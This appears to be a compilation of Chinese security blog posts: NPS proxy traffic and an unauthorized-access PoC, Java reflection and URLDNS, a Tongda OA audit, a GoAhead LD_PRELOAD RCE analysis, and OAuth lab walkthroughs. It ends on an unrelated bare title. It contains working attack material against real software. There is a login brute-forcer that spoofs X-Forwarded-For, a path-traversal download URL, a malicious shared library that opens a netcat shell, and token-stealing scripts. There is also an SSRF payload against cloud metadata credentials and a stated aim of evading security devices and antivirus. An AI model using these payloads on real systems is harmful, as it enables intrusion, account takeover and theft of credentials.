NPS之Socks流量分析以及未授权复现
前言 因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。 环境 ubuntu 16.04 vps server windows server 2012R2 clinet mkdir nps cd nps wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz tar -zxvf linux_amd64_server.tar.gz ./nps install cd /etc/nps/conf/ vim nps.conf 配置文件 #web web_host=a.o.com web_username=xxxx   //管理端用户名 web_password=xxxxxx //管理端密码 web_port = xxxxx     //管理端端口 web_ip=0.0.0.0 web_base_url= web_open_ssl=false web_cert_file=conf/server.pem web_key_file=conf/server.key #web_base_url=/nps ##bridge bridge_type=tcp   //客户端连接协议tcp bridge_port=xxxx //客户端连接端口 bridge_ip=0.0.0.0 bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则 NPS未授权复现 POC #encoding=utf-8 import time import hashlib now = time.time() m = hashlib.md5() m.update(str(int(now)).encode("utf8")) auth_key = m.hexdigest() print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)) 直接访问 http://vps:port?payload exp请求接口 POST /client/list HTTP/1.1 Host: vps:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 98 Origin: http://vps:port Connection: close Referer: http://vps:port/client/list search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4&timestamp=1659948547 参考链接: https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA修复措施 vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释 auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN 修改为 auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN 目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。 socks流量分析 nps start 访问http://vps:port/login 新增客户端 这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。 客户端选择windwos server 2012R2 修改客户端配置文件 [common] server_addr=vps:port conn_type=tcp vkey=xxxx auto_reconnection=true max_conn=1000 flow_limit=1000 rate_limit=1000 basic_username=11 basic_password=3 web_username=xxxx     web_password=xxxxx crypt=true compress=true #pprof_addr=0.0.0.0:9999 disconnect_timeout=60 客户端启动 npc.exe -server=vps:port -vkey=xxxxx -type=tcp 正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。 查看连接状态 使用goby测试socks5 测试代理 已成功实现内网穿透。 这里使用wireshark抓取流量包, 初始流量服务器向客户端发送TST 同时客户端向服务端确认版本,同时返回客户端版本0.26.0 代码位置nps/lib/version/version.go 服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10 服务端接收到请求后返回给客户端服务端版本的md5值,即 md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e 可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到 这是客户端传输给服务端密钥连接 md5(vkey) 服务端在接收到客户端的请求后校验数据后返回success 这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。
实例解析Java反射
反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。 什么是反射 java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。 基本形式 public void execute(String className, String methodName) throws Exception { Class clazz = Class.forName(className); clazz.getMethod(methodName).invoke(clazz.newInstance()); } 上面的例子中,我演示了几个在反射里极为重要的方法:获取类的方法: forName实例例化类对象的方法: newInstance获取函数的方法: getMethod执行函数的方法: invoke 反射的作用: 让Java具有动态性,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法 在反序列化漏洞中的应用 定制需要的对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类 java反射举例 此处引用白日梦组长的例子,具体讲解一下反射。 先写一个Person作为我们下面演示的原型类 public class Person {   private String name;   public int age;   public void act(){       System.out.println("test");   }   @Override   public String toString() {       return "Persion{" +               "name='" + name + '\'' +               ", age=" + age +               '}';   }   public String getName() {       return name;   }   public void setName(String name) {       this.name = name;   }   public int getAge() {       return age;   }   public void setAge(int age) {       this.age = age;   }   public Person() {   }   public Person(String name, int age) {       this.name = name;       this.age = age;   } } 获取原型类 使用forName方法 Class c = Class.forName("Person"); 在此也写一种基于ClassLoader的动态类加载方式 this.getClass().getClassLoader().loadClass("Person"); 从原型class里面实例化对象 利用构造函数实例化 Constructor constructor = c.getConstructor(String.class,int.class); Person p1 = (Person) constructor.newInstance("abc",22); 我们来逐行写一下分析 Constructor constructor = c.getConstructor(String.class,int.class); 这一行是为了获取原型类中重载的构造方法 public Person(String name, int age) { this.name = name; this.age = age; } 对构造方法进行传参实例化一个对象 Person p1 = (Person) constructor.newInstance("abc",22); 我们可以打印一下p1看一下返回结果 获取类里面的属性 private String name; public int age; public Field ageField = c.getField("age"); ageField.set(p1,11); private Field nameField = c.getDeclaredField("name"); nameField.setAccessible(true); nameField.set(p1,"xinyuan"); 获取类方法 Method actmethod = c.getMethod("act",String.class); actmethod.invoke(p1,"SKyMirror"); getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型 invoke方法第一个传入对象,第二个是传入参数值 利用URLDNS(反射) 这条链子算是反射的一个简单应用。 利用点 URL这个类重写了hashCode方法,导致在执行hashCode的时候,此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。 源码如下: 可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。 URL这个类实现了java.io.Serializable,可以进行序列化的操作。 因此,在这里我们可以验证一下我们上面的想法。 链子 这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法 HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法 我们跟进一下hash方法 key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法,从而触发整个链子。 有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。 同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。 payload如下 public static void main(String[] args) throws Exception{ HashMap <URL,Integer> hashMap = new HashMap<>(); URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/"); Class c = u.getClass(); //在进行put方法传参之前修改URL对象的hashCode值 Field hashcodeField = c.getDeclaredField("hashCode"); hashcodeField.setAccessible(true); hashcodeField.set(u,123); hashMap.put(u,123); //修改URL对象的hashCode值为-1 hashcodeField.set(u,-1); serialize(hashMap); }
Java反序列化之原生
早就想学java安全,但一直无从下手,今天下定决心好好学习,当然以下内容可能会有些许错误,小白的烦恼。 序列化与反序列化 Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。 序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。 为什么需要序列化与反序列化 我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。 当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。 ① 想把内存中的对象保存到一个文件中或者数据库中时候;② 想用套接字在网络上传送对象的时候;③ 想通过RMI传输对象的时候 为什么会产生安全问题? 只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。 几种常见的序列化和反序列化协议 XML&SOAP JSON Protobuf 理解 类比快递、打包和拆包 有些快递打包和拆包时有独特需求、比如易碎朝上,类比重写writeObject和readObject 实例 Java反序列化的操作,很多是需要开发者深入参与的,所以你会发现大量的库会实现readObject 、writeObject 方法,这和PHP中__wakeup 、__sleep 很少使用是存在鲜明对比的。我在《Java安全漫谈 - 06.RMI篇(3)》的最后一部分,讲到了classAnnotations ,这次再来说说objectAnnotation 。Java在序列化时一个对象,将会调用这个对象中的writeObject 方法,参数类型是ObjectOutputStream ,开发者可以将任何内容写入这个stream中;反序列化时,会调用readObject ,开发者也可以从中读取出前面 创建一个person类 import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Person implements Serializable {    private String name;    private int age;    public Person(){}    public Person(String name,int age){        this.name=name;        this.age=age;   }    @Override    public String toString() {        return "Person{"+        "name='" + name + "\'" +                ",'age=" + age +                '}';   } } 创建一个序列化类 import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class SerializationTest {   public static void serialize(Object obj) throws IOException {       ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));       oos.writeObject(obj);   }   public static void main(String[] args) throws Exception{       Person person=new Person("xinyuan",22);       serialize(person);       System.out.println(person);   } } 创建一个反序列化类 import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializationTest {   public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {       ObjectInputStream ois=new ObjectInputStream(new FileInputStream("ser.bin"));       Object obj = ois.readObject();       return obj;   }   public static void main(String[] args) throws Exception{       Person person=(Person) unserialize("ser.bin");       System.out.println(person);   } } 可能的形式 1.入口类的readObject直接调用危险方法 在person类,重写readObject方法,序列化后,反序列化 2.入口类参数中包含可控类,该类有危险方法,readObject时调用。 3.入口类参数包含可控类,该类又调用其他有危险方法的类,readObject时调用 条件 共同条件 继承Serializable 入口类 source(重写readObject 参数类型宽泛 最好jdk自带) Map<Object ,Object> 调用链 gadget chain 相同名称,相同类型 执行类 sink(rce ssrf 写文件等等) https://github.com/frohoff/ysoserial/
某OA系统审计小记
通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解。 通达oa 11.9 的https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe ,默认安装地址是 D:\MYOA ,联网状态下会自动更新到通达 oa 11.10 安装成功后,登录界面如下 默认账号为 admin 对应密码为空。 登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功    爆破密码 正常输入账号名密码时,输入三次错误就会禁止10分钟 我们可以通过代码方面追究其原因 webroot/inc/td_core.php $USER_IP 的值可以来自于 X-Forwarded-For 写个 python 脚本用于爆破用户名密码 import requests import sys import re def read_passwd(passwordfile):    with open(file = passwordfile, mode='r') as f:        passwd = f.read().splitlines()        return passwd def Intruder_password(url,username,passwd_list):    success_str ="正在进入OA系统,请稍候..."    a=b=c=d=0    url = url +"/logincheck.php"    for passwd in passwd_list:        payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)        headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}        response = requests.request("POST", url, data=payload, headers=headers)        if(re.search(success_str, response.text)):            print("正确的账号名:{}密码:{}".format(username,passwd))        else:            print("错误密码:{}".format(passwd))        d=d+1        if(d == 255):            c = c +1            d = 0        if(c == 255):            b = b +1            c = 0        if(b == 255):            a = a +1            b =0 def main():    if len(sys.argv) < 4:        print("Usage: Intruder_password.py targeturl username passwdfile\n"              "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")        exit()    url = sys.argv[1]    username = sys.argv[2]    passwd_list = read_passwd(sys.argv[3])    Intruder_password(url,username,passwd_list) if __name__ == '__main__':    main() 未授权敏感信息泄露 一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析 import os import sys import requests def file_path(url,filefolder):    for root, dirs, files in os.walk(filefolder):        for f in files:            paths = os.path.join(root,f)            paths = paths.replace(filefolder,url)            paths = paths.replace("\\","/")            #print(paths)            if(f.endswith(".php")):                response = requests.get(paths)                # print(str(response.status_code)+" "+str(len(response.text))+" "+paths)                print("code:"+ str(response.status_code) +" len:"+ str(len(response.text))+" url: "+ paths ) def main():    if len(sys.argv) < 3:        print("Usage: file_path.py targeturl filefolder\n"              "Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")        exit()    url = sys.argv[1]    filefolder = sys.argv[2]    file_path(url,filefolder) if __name__ == '__main__':    main() http://10.0.18.1/inc/reg.php 泄露版本信息 还有很多可以未授权显示的页面,不一一展示了 未授权文件下载 通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载 构造链接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a   就可以下载到根目录下的 a.zip 文件 我们从代码层面分析一下漏洞的成因 webroot/inc/package/down.php 我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download 中 webroot/inc/utility_file.php 如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码 webroot/inc/package/down.php 我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载 靶场实验练习推荐: https://www.yijinglab.com/expc.do?ec=ECIDb9ac-4540-46b4-b676-22df36b5935b
goahead环境变量注入漏洞分析
一、前言 1.1 下载地址 二、CVE-2017-17562 2.1 漏洞分析 cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。 2.2 代码分析 漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示: 代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdIn与stdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。 PUBLIC char *websGetCgiCommName() {   return websTempFile(NULL, "cgi"); } PUBLIC char *websTempFile(char *dir, char *prefix) {   static int count = 0;   char   sep;   sep = '/';   if (!dir || *dir == '\0') { #if WINCE       dir = "/Temp";       sep = '\\'; #elif ME_WIN_LIKE       dir = getenv("TEMP");       sep = '\\'; #elif VXWORKS       dir = "."; #else       dir = "/tmp"; #endif   }   if (!prefix) {       prefix = "tmp";   }   return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++); } 进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。 至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。 2.3 漏洞复现 下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4) git clone https://github.com/embedthis/goahead.git cd goahead make cd test gcc ./cgitest.c -o cgi-bin/cgitest sudo gdb ../build/linux-x64-default/bin/goahead 编写恶意动态链接库,代码以及编译命令如下所示: #include <stdio.h> #include <stdlib.h> static void main(void) __attribute__((constructor)); static void main(void) { system("nc -lp 8888 -e /bin/sh"); } // gcc --shared -fPIC poc.c -o poc.so 构造HTTP请求发送 curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。 2.4 补丁分析 首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。 其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type为application/x-www-form-urlencoded的HTTP请求时会调用。 三、cve-2021-42342 3.1 漏洞分析 cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示: 进入这个函数,当第二个参数为0时return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。 上文在对cve-2017-17562补丁进行分析时曾经提到,s-arg在addFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg为0,绕过的方式也很简单令header中content-type为multipart/form-data即可。 后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。 3.2 代码分析 为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下https://www.cnblogs.com/zongzi10010/p/12109380.html师傅的文章。 websOpen函数会根据配置启动相应的代码模块 其中关于cgi请求的回调函数通过websDefineHandler函数定义。 websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。 在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。 其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。 此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的 调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。 3.2.1 WEBS_BEGIN WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine、parseHeaders、websRouteRequest函数。 parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中  parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。 函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。 调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。 3.2.2 WEBS_CONTENT 返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。 进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。 initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。 processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。 processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp 当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。 返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中 3.2.3 WEBS_READY 程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->state为WEBS_RUNNING,并调用cgiHandler函数。 在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
OAuth2.0协议安全学习
有一个问题困扰了很久很久,翻来覆去无法入眠,那就是OAuth2.0有什么安全问题啊? OAuth2.0是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问,在全世界都有广泛运用。 OAuth2.0简介 OAuth2.0是什么 OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对于服务的有限访问,例如常见的第三方登录就基于此协议 OAuth2.0应用情景 OAuth2.0常被应用于以下情景 1、应用于第三方应用登录,将受保护的用户资源授权给第三方信任用户,从而避免二次登录造成泄密 2、应用于多服务场景中,用于服务的统一登陆认证,对内部系统之间的资源请求进行权限管理 3、应用于开发平台场景中,对系统敏感资源进行安全认证和保护 密码与OAuth2.0 1、密码与令牌(token)的作用是一样的,但令牌有其特点  用户无法自己修改  且一般来说token是短期的  可以被所有者撤销  token的权限一般是有限制的,而对于密码而言,其权限一般是完整权限 2、基于以上设计,OAuth2.0协议即可保证可以使得第三方应用获得权限使用,但又随时处于可控,这就是OAuth2.0的优点所在 OAuth2.0运行流程和授权模式 首先了解一下大概结构 Client: 第三方应用 Resource Owner: 资源所有者 Authorization Server: 授权服务器 Resource Server: 拥有资源信息的服务器 以下即为运行过程 OAuth的授权模式有五种  授权码模式|authorization code  简化模式|implicit  密码模式|resource owner password credentials  客户端模式|client credentials 在请求中一般存在response_type一类的参数,根据授权模式的不同,参数内容也会不同,这就是我们判断不同授权模式的重要依据 详情可见 https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html四种授权模式,安全问题大多在authorization code模式和implicit模式发生,我们也可以对此着重了解 OAuth2.0安全问题分析 为什么出现问题 OAuth2.0的授权认证流程大部分情况下是没有问题的,但他缺少内置的安全功能,认证是否安全几乎完全取决于使用者的正确配置,例如是否对token进行数据绑定、是否对数据本身进行加密等,而且不同的授权方法有不同的1特点,而根据授权类型,即使是高度敏感的数据都会被通过浏览器发送,给了攻击者各种拦截数据的机会 怎么判断是否使用OAuth2.0认证方法 主要可以通过两点判断 1、对数据进行抓包,基本所有的认证请求都是自/authorization开始,并且携带了类似于Client_id、redirect_uri等标志参数 2、是否可以使用第三方应用进行登录,如若可以,基都是采取OAuth2.0认证 授权服务器认证绕过 当我们完成登录获取第三方资源时,是通过一个用户邮箱、ID进行识别,但如果第三方资源授权没有对此进行合理的认证,就有可能绕过授权服务器认证 1、靶场 Lab: Authentication bypass via OAuth implicit flow 2、解法 进行抓包,查看数据包的交互流程,在/authorization看到有邮箱、ID返回认证 可以尝试修改email和username Forward发送,发现token并没有进行内容绑定,成功login CSRF关联账号 造成这个安全问题的主要原因是对OAuth组件的配置错误,比如state参数 这个参数可以类比于CSRF令牌token,一般是作为与会话信息相关联的一个hash值,作为客户端与服务端之间通信的token令牌,而当配置出现问题,攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF 1、靶场 Lab: Forced OAuth profile linking 2、解法 我们先正常登录 点击绑定social profile,对social media认证页面进行抓包,得到令牌code 我们可以先直接带上访问一下试试 这是因为我们还没有实现绑定登录,我们现在要做的就是让管理员登录时带上的是我们的code,这样我们就可以成功劫持管理员账号 我们重新抓取一个包拿到code,得到code后drop掉不让他成功登录认证 然后进入exploit修改body <iframe src="https://you-Labe-URL/oauth-linking?code=xxxx"></iframe> 发送给受害者,而后重新登录social media 成功登录admin 删掉carlos用户即可 CSRF获取敏感信息 我们正常登录认证后需要从认证页面重定向回到原本的页面,这里起到作用的就是redirect_uri参数,这是一个很合理的设计,但如果redirect_uri重定向回来的是其他地方,比如我们的攻击服务器,那么我们是不是可以窃取到一些敏感信息,例如我们上一道题登录admin用到的code 与上一题不同的点在于,前者是攻击者生成了token让admin绑定,这里是让admin生成token攻击者拿到去进行绑定 1、靶场 Lab: OAuth account hijacking via redirect_uri 2、解法 我们抓包可以看到很多个参数,返回的response有个重定向回到原本的登陆页面 我们可以先简单测试一下,把redirect_uri参数换成我们的攻击服务器 访问抓包 callback 可以看到host变成了我们的攻击服务器,这就是问题所在 我们进入exploit修改body <iframe src="https://oauth-0ab7002704013c25c0e609d702b200d8.web-security-academy.net/auth?client_id=vna7ueijoqkr7uoxz68yl&redirect_uri=https://exploit-0ad700bf04bc3c4bc0f9097701db00da.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe> 修改redirect_uri重定向回我们的exploit,store存储一下,然后view exploit预览一下 确认可以后发送给受害者,然后查看log,可以看到就能窃取到code 然后根据包的发送流程,将code进行修改callback回去 https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6 成功登录admin,删除用户就行 通过开放重定向获取敏感信息 与上一道类似,但是这里加入了对重定向redirect_uri参数的检测,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,再搭配CSRF得到code实现越权 1、靶场 Lab: Stealing OAuth access tokens via an open redirect 2、解法 抓包然后查找apikey,发现在/me路径,放入repeater 测试redirect_uri,发现是以白名单进行验证,无法以外域作为重定向提供,同时发现存在目录遍历漏洞 进行寻找漏洞利用点,发现每个blog下方均有一个post点,易受目录遍历,选择进行测试 抓包放入repeater中测试,发现可以重定向到外域,这样我们就可以利用1这个重定向到我们的攻击服务器,进行敏感数据的窃取 我们修改url重定向回exploit https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profi 进行访问,成功返回hello,world 这样我们就可以编写script,让admin登录从而泄露token <script>   if (!document.location.hash) {       window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=3997   } else {       window.location = '/?'+document.location.hash.substr(1)   } </script> 发送给受害者后进入access log,得到access_token 将access_token替换到/me路径的Authorization: Bearer标头中的token 发送即可得到apikey,提交即可 危险传递、使用某些特定数据 当OAuth存在专用注册端点来运行客户端自行注册,而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据,就可能存在SSRF漏洞,出现密钥的泄露 1、靶场 Lab: SSRF via OpenID dynamic client registration 2、解法 首先我们需要了解的是在OAuth服务开发中,存在这样一类文件 /.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json) 他们存储着一些相关的配置 我们尝试访问 https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration 可以发现/reg是注册点,我们可以在repeater中创建一个post请求向OAuth请求注册,而这其中必须提供至少一个redirect_uris数组 传参后我们可以看到服务器给我们返回了client_id和一系列数据 我们继续翻看配置参数,其中最有可能存在SSRF的url参数就是logo_uri 我们可以进行尝试,启动Burp Collaborator client POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json {   "redirect_uris" : [       "https://example.com"   ],   "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN" } 发现可以成功携带数据 当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据 /client/CLIENT-ID/logo 那当我们修改logo_uri为其他url时,我们就可以携带出我们想要的东西了,而题目已经给出了攻击服务器的url,我们替换一下 POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json {   "redirect_uris" : [       "https://example.com"   ],   "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" } 得到key 防御总结 使用白名单检验redirect_url参数 检验state参数是否存在 ccess token和client_id是否匹配,同时验证access token的访问范围 修复client端的开放重定向漏洞,防止auth code的泄露
细说从0开始挖掘CMS
